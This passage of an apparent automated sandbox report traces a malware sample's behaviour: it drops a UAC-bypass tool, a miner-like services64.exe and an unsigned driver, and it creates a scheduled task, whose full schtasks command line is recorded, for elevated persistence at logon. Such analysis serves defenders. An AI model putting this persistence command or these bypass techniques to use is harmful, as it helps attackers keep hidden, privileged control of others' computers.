              Source: Binary string: /ERRORREPORT:PROMPT /OUT:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.exe /INCREMENTAL:NO /NOLOGO /MANIFEST "/MANIFESTUAC:level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG:FULL /PDB:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb /SUBSYSTEM:CONSOLE /OPT:REF /OPT:ICF /LTCG:incremental /LTCGOUT:x64\Release\DccwBypassUAC.iobj /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.lib /MACHINE:X64 source: GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: 6C:\Users\user\AppData\Local\Temp\DccwBypassUAC.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: cwdC:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\DccwBypassUACexeC:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.41.34120\bin\HostX64\x64\link.exepdbC:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdbcmd /ERRORREPORT:PROMPT /OUT:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.exe /INCREMENTAL:NO /NOLOGO /MANIFEST "/MANIFESTUAC:level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG:FULL /PDB:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb /SUBSYSTEM:CONSOLE /OPT:REF /OPT:ICF /LTCG:incremental /LTCGOUT:x64\Release\DccwBypassUAC.iobj /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.lib /MACHINE:X64 source: GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp, DccwBypassUAC.exe, 00000005.00000000.2143738262.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp, DccwBypassUAC.exe, 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp
              Source: Binary string: DccwBypassUAC.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeCode function: 0_2_00007FFD343F00BD pushad ; iretd 0_2_00007FFD343F00C1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD342CD2A5 pushad ; iretd 2_2_00007FFD342CD2A6
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD343E00BD pushad ; iretd 2_2_00007FFD343E00C1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD343E84FA push ebx; ret 2_2_00007FFD343E85AA
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD343E85AB push ebx; ret 2_2_00007FFD343E85AA
              Source: C:\Windows\System32\conhost.exeCode function: 7_2_00007FFD344A1C7A push ebx; ret 7_2_00007FFD344A1CEA

              Persistence and Installation Behavior

              barindex
              Sample is not signed and drops a device driver
              Source: C:\Windows\System32\conhost.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sysJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeFile created: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeJump to dropped file
              Source: C:\Windows\System32\conhost.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeJump to dropped file
              Source: C:\Windows\System32\conhost.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sysJump to dropped file
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeFile created: C:\Users\user\AppData\Local\Temp\Cool.exeJump to dropped file
              Source: C:\Windows\System32\conhost.exeFile created: C:\Users\user\AppData\Local\Temp\services64.exeJump to dropped file

              Boot Survival

              barindex
              Uses schtasks.exe or at.exe to add and modify task schedules
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"

              Hooking and other Techniques for Hiding and Protection

              barindex
              Loading BitLocker PowerShell Module
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
